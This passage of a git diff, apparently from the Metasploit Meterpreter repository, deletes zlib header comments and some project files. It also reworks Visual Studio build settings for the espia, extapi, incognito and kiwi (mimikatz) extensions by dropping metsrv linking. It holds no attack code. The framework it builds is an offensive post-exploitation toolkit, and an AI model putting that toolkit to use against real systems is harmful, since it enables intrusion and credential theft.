zalloc being NULL). msg is left unchanged in both source and - destination. -*/ - -extern int EXPORT deflateReset OF((z_streamp strm)); -/* - This function is equivalent to deflateEnd followed by deflateInit, - but does not free and reallocate all the internal compression state. - The stream will keep the same compression level and any other attributes - that may have been set by deflateInit2. - - deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source - stream state was inconsistent (such as zalloc or state being NULL). -*/ - -extern int EXPORT deflateParams OF((z_streamp strm, int level, int strategy)); -/* - Dynamically update the compression level and compression strategy. - This can be used to switch between compression and straight copy of - the input data, or to switch to a different kind of input data requiring - a different strategy. If the compression level is changed, the input - available so far is compressed with the old level (and may be flushed); - the new level will take effect only at the next call of deflate(). - - Before the call of deflateParams, the stream state must be set as for - a call of deflate(), since the currently available input may have to - be compressed and flushed. In particular, strm->avail_out must be non-zero. - - deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source - stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR - if strm->avail_out was zero. -*/ - -extern int EXPORT deflateOutputPending OF((z_streamp strm)); -/* - Returns the number of bytes of output which are immediately - available from the compressor (i.e. without any further input - or flush). -*/ - -/* -extern int EXPORT inflateInit2 OF((z_streamp strm, - int windowBits)); - - This is another version of inflateInit with more compression options. The - fields next_out, zalloc, zfree and opaque must be initialized before by - the caller. - - The windowBits parameter is the base two logarithm of the maximum window - size (the size of the history buffer). It should be in the range 8..15 for - this version of the library (the value 16 will be allowed soon). The - default value is 15 if inflateInit is used instead. If a compressed stream - with a larger window size is given as input, inflate() will return with - the error code Z_DATA_ERROR instead of trying to allocate a larger window. - - If next_out is not null, the library will use this buffer for the history - buffer; the buffer must either be large enough to hold the entire output - data, or have at least 1< - - diff --git a/c/meterpreter/workspace/common/common.vcxproj b/c/meterpreter/workspace/common/common.vcxproj deleted file mode 100644 index 53dcc505..00000000 --- a/c/meterpreter/workspace/common/common.vcxproj +++ /dev/null @@ -1,294 +0,0 @@ - - - - - r7_release - Win32 - - - r7_release - x64 - - - Release - Win32 - - - Release - x64 - - - - {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} - common - - - - StaticLibrary - false - MultiByte - v141_xp - - - StaticLibrary - false - MultiByte - v141_xp - - - StaticLibrary - false - MultiByte - v141_xp - - - StaticLibrary - false - MultiByte - v141_xp - - - - - - - - - - - - - - - - - - - - - - - - - - - - <_ProjectFileVersion>10.0.30319.1 - $(Configuration)\$(Platform)\ - $(Configuration)\$(Platform)\ - false - false - false - AllRules.ruleset - - - - - - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) - false - Size - false - OnlyExplicitInline - MinSpace - Use - common.h - $(OutDir)\common.pch - NDEBUG;WIN32;_WINDOWS;_LIB;USE_DLL;METERPRETER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - MultiThreaded - true - Level3 - true - true - - - backcompat.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration)\;%(AdditionalLibraryDirectories) - false - false - Windows - MachineX86 - - - true - - - 0x0409 - - - - - - - - - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) - false - Size - false - OnlyExplicitInline - MinSpace - Use - common.h - $(OutDir)\common.pch - NDEBUG;WIN32;_WINDOWS;_LIB;USE_DLL;METERPRETER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - MultiThreaded - true - Level3 - true - true - - - backcompat.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration)\;%(AdditionalLibraryDirectories) - false - false - Windows - MachineX86 - - - true - - - 0x0409 - - - - - - - - - X64 - - - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) - false - Size - false - OnlyExplicitInline - MinSpace - Use - common.h - $(OutDir)\common.pch - NDEBUG;WIN32;_WINDOWS;_LIB;USE_DLL;METERPRETER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - MultiThreaded - true - Level3 - true - true - - - false - false - Windows - MachineX64 - - - true - - - 0x0409 - - - - - - - - - X64 - - - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) - false - Size - false - OnlyExplicitInline - MinSpace - Use - common.h - $(OutDir)\common.pch - NDEBUG;WIN32;_WINDOWS;_LIB;USE_DLL;METERPRETER_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) - MultiThreaded - true - Level3 - true - true - - - false - false - Windows - MachineX64 - - - 0x0409 - - - - - - - true - - - - - - - - - - - - - Create - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - {c6fb3275-9067-4bba-9206-0a720d2bc64f} - false - - - - - - - - - \ No newline at end of file diff --git a/c/meterpreter/workspace/ext_server_bare/ext_server_bare.vcxproj b/c/meterpreter/workspace/ext_server_bare/ext_server_bare.vcxproj deleted file mode 100644 index c725acbd..00000000 --- a/c/meterpreter/workspace/ext_server_bare/ext_server_bare.vcxproj +++ /dev/null @@ -1,306 +0,0 @@ - - - - - r7_release - Win32 - - - r7_release - x64 - - - Release - Win32 - - - Release - x64 - - - - {D3F39324-040D-4B1F-ADA9-762F16A120E6} - ext_server_bare - Win32Proj - - - - DynamicLibrary - MultiByte - false - v120_xp - - - DynamicLibrary - MultiByte - false - v120_xp - - - DynamicLibrary - MultiByte - false - v120_xp - - - DynamicLibrary - MultiByte - false - v120_xp - - - - - - - - - - - <_ProjectFileVersion>10.0.30319.1 - $(Configuration)\$(Platform)\ - $(Configuration)\$(Platform)\ - false - false - AllRules.ruleset - - - $(ProjectName).$(PlatformShortName) - - - - MinSpace - OnlyExplicitInline - false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\bare;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - - - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - ProgramDatabase - false - Size - true - - - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - false - %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) - false - true - $(OutDir)\ext_server_bare.map - Windows - - - - - false - - - $(OutDir)\ext_server_bare.lib - MachineX86 - false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL -IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY - mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" -:COPY -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" - - - - - MinSpace - OnlyExplicitInline - false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\bare;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - - - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - ProgramDatabase - false - Size - true - - - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - false - %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) - false - true - $(OutDir)\ext_server_bare.map - Windows - - - - - false - - - $(OutDir)\ext_server_bare.lib - MachineX86 - false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL -IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY - mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" -:COPY -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\bare;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - - - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - ProgramDatabase - false - true - - - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) - false - true - $(OutDir)\ext_server_bare.map - NotSet - - - - - false - - - $(OutDir)\ext_server_bare.lib - MachineX64 - false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL -IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY - mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" -:COPY -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" - - - - - X64 - - - MaxSpeed - OnlyExplicitInline - false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\bare;%(AdditionalIncludeDirectories) - WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions) - true - MultiThreaded - false - - - $(OutDir)\ - $(OutDir)\ - $(OutDir)\ - Level3 - ProgramDatabase - false - true - - - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) - false - true - $(OutDir)\ext_server_bare.map - NotSet - - - - - false - - - $(OutDir)\ext_server_bare.lib - MachineX64 - false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL -IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY - mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" -:COPY -copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" - - - - - - - - - - - - - - {c6fb3275-9067-4bba-9206-0a720d2bc64f} - false - - - - - - - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - - - {72f0246a-a38d-4547-9057-46020e8e503d} - false - - - - - - - diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index c097035b..ff387ef3 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -86,7 +86,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -104,11 +104,12 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_espia.map @@ -137,7 +138,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -155,11 +156,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_espia.map @@ -191,7 +193,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -208,9 +210,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + ..\..\lib;%(AdditionalLibraryDirectories) + + false true $(OutDir)\ext_server_espia.map @@ -242,7 +245,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\espia;..\..\source\jpeg-8;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -259,9 +262,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + ..\..\lib;%(AdditionalLibraryDirectories) + + false true $(OutDir)\ext_server_espia.map @@ -286,21 +290,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - - - - - - - - @@ -313,14 +308,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -330,4 +317,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj index bd0758f4..216bd1c7 100644 --- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -102,11 +102,12 @@ true - gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_extapi.map @@ -133,7 +134,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -151,11 +152,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_extapi.map @@ -185,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -202,9 +204,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_extapi.map @@ -234,7 +237,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -251,9 +254,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_extapi.map @@ -320,14 +324,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -337,4 +333,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj index 1132ba6d..376331e3 100644 --- a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj +++ b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj @@ -87,7 +87,7 @@ OnlyExplicitInline false Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -104,9 +104,10 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) + + false true $(OutDir)\ext_server_incognito.map @@ -136,7 +137,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" OnlyExplicitInline false Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -153,9 +154,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) + + false true $(OutDir)\ext_server_incognito.map @@ -188,7 +190,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" OnlyExplicitInline false Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -205,9 +207,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_incognito.map @@ -240,7 +243,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" OnlyExplicitInline false Size - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\incognito;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_INCOGNITO_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -257,9 +260,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_incognito.map @@ -301,14 +305,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -325,4 +321,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj index 109ad5f9..f7cb07a7 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj +++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj @@ -105,7 +105,7 @@ MinSpace true - ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) _POWERKATZ;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -126,10 +126,11 @@ true - version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + false true .\Release\ext_server_kiwi.map @@ -156,7 +157,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) _POWERKATZ;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -177,10 +178,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + 